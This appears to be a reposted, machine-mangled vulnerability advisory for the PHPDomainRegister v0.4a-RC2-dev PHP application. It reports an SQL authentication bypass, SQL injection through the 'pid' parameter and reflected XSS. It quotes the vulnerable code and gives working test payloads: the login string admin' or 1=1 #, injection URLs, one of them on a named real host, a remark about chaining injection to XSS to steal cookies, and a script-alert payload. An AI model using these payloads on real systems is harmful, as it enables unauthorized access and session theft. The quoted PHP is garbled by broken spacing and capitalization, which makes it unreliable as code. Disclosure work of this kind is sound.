PHPDomainRegister v0.4a-multiple defects in RC2-dev and repair

Title: PHPDomainRegister v0.4a-RC2-dev => [SQL Auth] [SQL Inject] [XSS]
Author: Or4nG. M4n
: Http://garr.dl.sourceforge.net/project/phpdr/v0.4b%20-%20RC2.rar
Thanks:
+ ---------------------------------- +
| XSs m4n I-Hmx Cyber-Crystal |
| Dr. Bnned ahwak2000 sa ^ Dev! L |
+ ---------------------------------- +
 
SQL Auth Bypass
Defect location: class_AjaxLogin.php line 73
 
Function is_login () {<= 1
Include ('../config. php'); <= 2
If (isset ($ _ POST ['username']) {<<=== 3
$ _ SESSION ['username'] =_ _ POST ['username']; <<== 4
$ Password = $ _ POST ['Password']; <= 5
$ StrSQL = <= 6
"SELECT
*
FROM
'". $ _ SQL _PREFIX. $ USER_Table_Name ."'
WHERE
'Login _ name' = '". $ _ SESSION ['username']."'
AND
Password = md5 ('". $ password."'); "; <= 7
 
$ Result = mysql_query ($ strSQL); <<=== 8
$ Row = mysql_fetch_row ($ result); <= 9
$ Exist = count ($ row); <= 10
If ($ exist >=2) {$ this-> jscript_location () ;}<<<== 11

[Jscript_location]

Function jscript_location () {<= 12
$ This-> set_session (); <= 13
Echo "<script >$ ('# iner '). fadeOut (); window. location. href = '". SUCCESS_LOGIN_GOTO. "'</script>"; <= 14

 
Test method:
Just login as => admin' or 1 = 1 #
 
SQL injection
Defect location
Admin/index. php line 212
 
$ SQL = "SELECT name, price, disc, disc2, webspace FROM ". $ _ SQL _PREFIX. "packages WHERE 'id' = ". $ _ GET ['pid ']. ";"; <= 1
$ Getpack = mysql_query ($ SQL); <<=== 2
 
Line 1079
 
ShowPacket ($ pid); <<== 3

Defect code
Index. php line 617
 
$ SQL = "SELECT * FROM ". $ _ SQL _PREFIX. "packages where id = ". $ _ GET ['pid ']. ""; <= 1
$ Result = mysql_query ($ SQL); <<=== 2
Test method:
A http://www.bkjia.com/index. php? Usetype = domainauswahl & pid = % injectionhere % & use = Details
Admin/index. php? Show = showPacket & pid = % injectionhere % SQL to xss to get cookie
 
 
Cross Site Scrpting [xss]
Admin/index. php? Show = domains & do = delFirmadomains & domain = <script> alert (7); </script>